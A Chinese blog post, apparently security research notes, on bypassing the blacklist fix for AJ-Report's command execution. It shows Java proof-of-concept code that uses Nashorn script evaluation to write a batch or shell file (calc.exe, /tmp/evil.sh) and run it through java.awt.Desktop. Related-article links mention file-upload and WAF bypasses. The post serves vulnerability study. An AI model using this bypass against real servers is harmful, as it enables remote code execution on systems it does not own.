首页 > 其他分享 >AJ-Report命令执行绕过

AJ-Report命令执行绕过

时间:2024-05-31 12:21:34浏览次数:19  
标签:Files Java AJ Desktop var file Report java 绕过

engine.eval(validationRules);

命令执行的修复方式:
image.png
只对3个内部执行命令的类做了黑名单。

Nashorn 是 Java 8 引入的 JavaScript 引擎,允许在js代码中调用java的类与方法。

这里的类指的是项目中的所有类,不局限于JDK,相当于我们可以调用项目里的任意类的任意方法,并且参数都是完全可控的,Java组件安全那些几乎都能用上。
只要找到一种RCE的手段就可以了,因为很久没有碰Java组件安全方面的内容了,已经很生疏。

这里先找一个简单的RCE方法,后面复习了更多方式再来补充。

FileWrite2RCE

介绍两个类

  • java.nio.file.Files

Java NIO(New I/O)库的一部分,用于处理文件和目录的操作。
该类提供了许多静态方法,简化了常见的文件操作,如读取、写入、复制、移动、删除文件等。它于 Java 7 引入,并且大大简化了文件操作的代码。

  • java.awt.Desktop

AWT(Abstract Window Toolkit)的一部分,用于与桌面环境交互。
该类提供了一些方法来启动已安装在本地计算机上的应用程序来处理 URI 或文件。例如,可以用默认的浏览器打开网页,用默认的邮件客户端发送电子邮件,或者用默认的应用程序打开文件。

  • win

使用JDK内部类 java.nio.file.Filesjava.awt.Desktop 来创建和执行一个临时脚本文件。

public static void main(String[] args) throws Exception {

    try {
        ScriptEngineManager manager = new ScriptEngineManager();
        ScriptEngine engine = manager.getEngineByName("JavaScript");

        // JavaScript 脚本,使用 java.nio.file.Files 和 java.awt.Desktop 来创建和执行一个临时脚本文件
        String script =
                "var Files = Java.type('java.nio.file.Files');" +
                        "var Paths = Java.type('java.nio.file.Paths');" +
                        "var StandardOpenOption = Java.type('java.nio.file.StandardOpenOption');" +
                        "var Desktop = Java.type('java.awt.Desktop');" +
                        "var scriptPath = Paths.get('run_calc.bat');" +
                        "Files.write(scriptPath, 'start calc.exe'.getBytes(), StandardOpenOption.CREATE);" +
                        "Desktop.getDesktop().open(scriptPath.toFile());";

        // 执行脚本
        engine.eval(script);
    } catch (Exception e) {
        e.printStackTrace();
    }
}
  • linux
public static void main(String[] args) throws Exception {

    try {
        ScriptEngineManager manager = new ScriptEngineManager();
        ScriptEngine engine = manager.getEngineByName("JavaScript");
    
        // JavaScript 脚本,使用 java.nio.file.Files 和 java.awt.Desktop 来创建和执行一个临时脚本文件
        String script =
                "var Files = Java.type('java.nio.file.Files');" +
                        "var Paths = Java.type('java.nio.file.Paths');" +
                        "var StandardOpenOption = Java.type('java.nio.file.StandardOpenOption');" +
                        "var Desktop = Java.type('java.awt.Desktop');" +
                        "var scriptPath = Paths.get('/tmp/evil.sh');" +
                        "Files.write(scriptPath, '#!/bin/bash\\necho \\'Hello, Linux!\\''.getBytes(), StandardOpenOption.CREATE);" +
                        "scriptPath.toFile().setExecutable(true);" +
                        "Desktop.getDesktop().open(scriptPath.toFile());";
//String script = "var Files = Java.type('java.nio.file.Files'); var Paths = Java.type('java.nio.file.Paths'); var StandardOpenOption = Java.type('java.nio.file.StandardOpenOption'); var Desktop = Java.type('java.awt.Desktop'); var scriptPath = Paths.get('/tmp/evil.sh'); Files.write(scriptPath, '#!/bin/bash\\necho \\'Hello, Linux!\\''.getBytes(), StandardOpenOption.CREATE); scriptPath.toFile().setExecutable(true); Desktop.getDesktop().open(scriptPath.toFile());";
    
            // 执行脚本
        engine.eval(script);
    } catch (Exception e) {
        e.printStackTrace();
    }
}

image.png
image.png

标签:Files,Java,AJ,Desktop,var,file,Report,java,绕过
From: https://www.cnblogs.com/Rainy-Day/p/18224061

相关文章

  • 文件上传绕过速查
    我这里就分为两种吧,一种是基于代码限制的,一种基于防火墙,其实总的来看两者差不多,都是检测文件合法性,但是两者区别开来,在实际应用中信息收集之后对于一个网站的防护措施有了了解后,能够更精准的选择上传绕过方式。(本篇都使用php一句话木马作为示例) 前端JS限制文件后缀限制只......
  • 五种不寻常的身份验证绕过技术
    身份验证绕过漏洞是现代web应用程序中普遍存在的漏洞,也是隐藏最深很难被发现的漏洞。为此安全防护人员不断在开发新的认证方法,保障组织的网络安全。尽管单点登录(SSO)等工具通常是对旧的登录用户方式的改进,但这些技术仍然可能包含严重的漏洞。无论是业务逻辑错误还是其他软件......
  • 一次绕过waf进行xss的经历
    今天室友遇到一个好玩的网站,下面是一些尝试绕过Waf进行XSS的记录。首先该网站没有对左右尖号和单双引号做任何过滤或转义。且有未知的waf或者其他阻止恶意访问的手段。 首先我的访问为login.asp?f=1时候,页面关键源码为可能是表示登录次数的一个东西?(猜测)现在我们知道的......
  • 新版本fastreport报表设计器更改运行时的语言为中文
    新版本fastreport(2024)的架构大调整后,原来的方法已不能使用了,新的设置步骤为:1、将TfrLocalizationController组件放置form上(frLocalizationLibrary.lpk包); 2、在语言属性中选择所需的语言(例如中文,语言列表取决于IDE中安装的软件包);3、在项目检查器中添加语言包(例如frLan......
  • AJ-Report 认证绕过与远程代码执行漏洞(CNVD-2024-15077)
    AJ-Report是全开源的一个BI平台。在其1.4.0版本及以前,存在一处认证绕过漏洞,攻击者利用该漏洞可以绕过权限校验并执行任意代码。补丁对比方法一从docker拖出代码,去gitee下载发行版,便于对比编译后的class。方法二查看git的commit记录,可以直接看到修改了哪些内容!后面要去学习......
  • ts拯救前端:优雅的在运行时校验后端接口返回数据类型 typescript-json-schema+ ajv
    包管理器:pnpm环境:node依赖:typescript-json-schema、ajv准备工作1、安装依赖pnpmaddtypescript-json-schemapnpmaddajv2、准备需要校验的数据类型//userType.tsexportinterfaceUser{id:string;token:string;nick?:string;}3、使用typescrip......
  • 金和OA认证绕过
    https://docs.projectdiscovery.io/templates/reference/matchershttps://furina.org.cn/2023/10/05/Nuclei/https://t.zsxq.com/bIoTf认证绕过+sql注入pocGET/C6/JHSoft.Web.WorkFlat/RssModulesHttp.aspx/?interfaceID=1;WAITFOR%20DELAY%20'0:0:3'--nucleiid:......
  • 创建一个配置为信任所有HTTPS连接的RestTemplate实例,不验证服务器的SSL证书。这个示
    这个配置类使用背景:可参考博客:springboot使用restTemplate发送https请求忽略ssl证书https://jsonll.blog.csdn.net/article/details/129191580?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-1-1......
  • .NET 某和OA办公系统全局绕过漏洞分析
    转自先知社区作者:dot.Net安全矩阵原文链接:.NET某和OA办公系统全局绕过漏洞分析-先知社区0x01前言某和OA协同办公管理系统C6软件共有20多个应用模块,160多个应用子模块,从功能型的协同办公平台上升到管理型协同管理平台,并不断的更新完善,全面支撑企业发展。从此OAC6版本外......
  • 一例APP绕过root检测解密
    一例APP绕过root检测解密前言最近在分析一款app时遇见了root检测,数据包加密,花了时间简单研究了一下,记录下学习的过程。 抛出问题打开app发现提示检测到设备为root设备,闪退。能看到提示,推测应该是java层的检测。拖进jadx发现是加固的。通过frida绕过检测java层常见......